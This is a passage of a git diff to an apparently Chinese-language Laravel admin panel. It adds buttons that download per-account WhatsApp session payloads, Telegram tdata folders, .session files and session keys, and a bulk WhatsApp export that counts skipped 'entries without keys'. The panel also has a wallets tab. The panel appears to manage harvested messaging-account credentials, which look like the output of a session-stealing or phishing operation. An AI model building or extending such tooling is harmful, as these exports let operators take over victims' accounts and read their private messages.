typeMap[obj.event]; + var baseUrl = obj.data.session_file_url; + if (!baseUrl) { layer.msg('缺少会话文件地址'); return; } + var url = baseUrl + '?type=' + type; + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = (obj.data.account_id || obj.data.id) + extMap[type]; + document.body.appendChild(a); a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); }); + return; + } + }); + } + if (tab === 'wallets') { form.render('select'); form.on('submit(LAY-wallet-search)', function (data) { diff --git a/resources/views/admin/sessions/index.blade.php b/resources/views/admin/sessions/index.blade.php index 4f01a9a..36b304c 100644 --- a/resources/views/admin/sessions/index.blade.php +++ b/resources/views/admin/sessions/index.blade.php @@ -43,11 +43,25 @@
    - + @if ($isWhatsApp) + + 批量导出一次限 1000 条,请先选择时间范围 + @else + + @endif
    @@ -98,7 +112,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { cols.push( { field: 'created_at', title: '创建时间', width: 170, sort: true }, { field: 'updated_at', title: '更新时间', width: 170, sort: true }, - { title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' } + { title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' } ); table.render({ @@ -118,7 +132,9 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { // Bulk export: build a query string from the current search form and // trigger a download via a hidden . The server streams a ZIP from disk. - document.getElementById('LAY-session-export').addEventListener('click', function () { + var zipBtn = document.getElementById('LAY-session-export'); + if (zipBtn) { + zipBtn.addEventListener('click', function () { var params = new URLSearchParams(); params.set('kind', isWhatsApp ? '2' : '1'); var formEl = document.querySelector('form[lay-filter="LAY-session-search"]'); @@ -149,7 +165,51 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { layer.close(load); layer.msg(e.message || '导出失败'); }); - }); + }); + } + + // WS TXT export: same filters, but returns a single NDJSON .txt (one JSON + // per line, 26 fields — chk.ts native format). Server converts each wap.js + // payload on the fly. + var wsBtn = document.getElementById('LAY-session-export-ws'); + if (wsBtn) { + wsBtn.addEventListener('click', function () { + var params = new URLSearchParams(); + params.set('kind', '2'); + var formEl = document.querySelector('form[lay-filter="LAY-session-search"]'); + if (formEl) { + var fd = new FormData(formEl); + fd.forEach(function (v, k) { if (v) params.set(k, v); }); + } + var url = @json(route($portal.'.sessions.export.ws')) + '?' + params.toString(); + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); }); + } + var skipped = res.headers.get('X-Export-Skipped') || '0'; + var written = res.headers.get('X-Export-Written') || ''; + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'ws-' + @json(date('Ymd-His')) + '.txt'; + document.body.appendChild(a); + a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + if (skipped && skipped !== '0') { + layer.msg('导出完成,跳过 ' + skipped + ' 条无密钥数据' + (written ? ',写入 ' + written + ' 条' : '')); + } + }); + }) + .catch(function (e) { + layer.close(load); + layer.msg(e.message || '导出失败'); + }); + }); + } table.on('tool(LAY-session-list)', function (obj) { if (obj.event === 'payload') { @@ -191,6 +251,97 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { }); return; } + if (obj.event === 'wsFull') { + var url = obj.data.ws_full_url; + if (!url) { + layer.msg('缺少协议全参地址'); + return; + } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt'; + document.body.appendChild(a); + a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { + layer.close(load); + layer.msg(e.message || '转换失败'); + }); + return; + } + if (obj.event === 'tdata') { + var url = obj.data.tdata_url; + if (!url) { + layer.msg('缺少 TDATA 地址'); + return; + } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip'; + document.body.appendChild(a); + a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { + layer.close(load); + layer.msg(e.message || '转换失败'); + }); + return; + } + if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') { + var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' }; + var extMap = { session: '.session', json: '.json', key: '_密钥.txt' }; + var type = typeMap[obj.event]; + var baseUrl = obj.data.session_file_url; + if (!baseUrl) { + layer.msg('缺少会话文件地址'); + return; + } + var url = baseUrl + '?type=' + type; + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = (obj.data.account_id || obj.data.id) + extMap[type]; + document.body.appendChild(a); + a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { + layer.close(load); + layer.msg(e.message || '转换失败'); + }); + return; + } if (obj.event !== 'detail') return; var url = obj.data.detail_url; var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id)); diff --git a/resources/views/admin/system/admins.blade.php b/resources/views/admin/system/admins.blade.php index 1896e63..ae176cf 100644 --- a/resources/views/admin/system/admins.blade.php +++ b/resources/views/admin/system/admins.blade.php @@ -22,6 +22,9 @@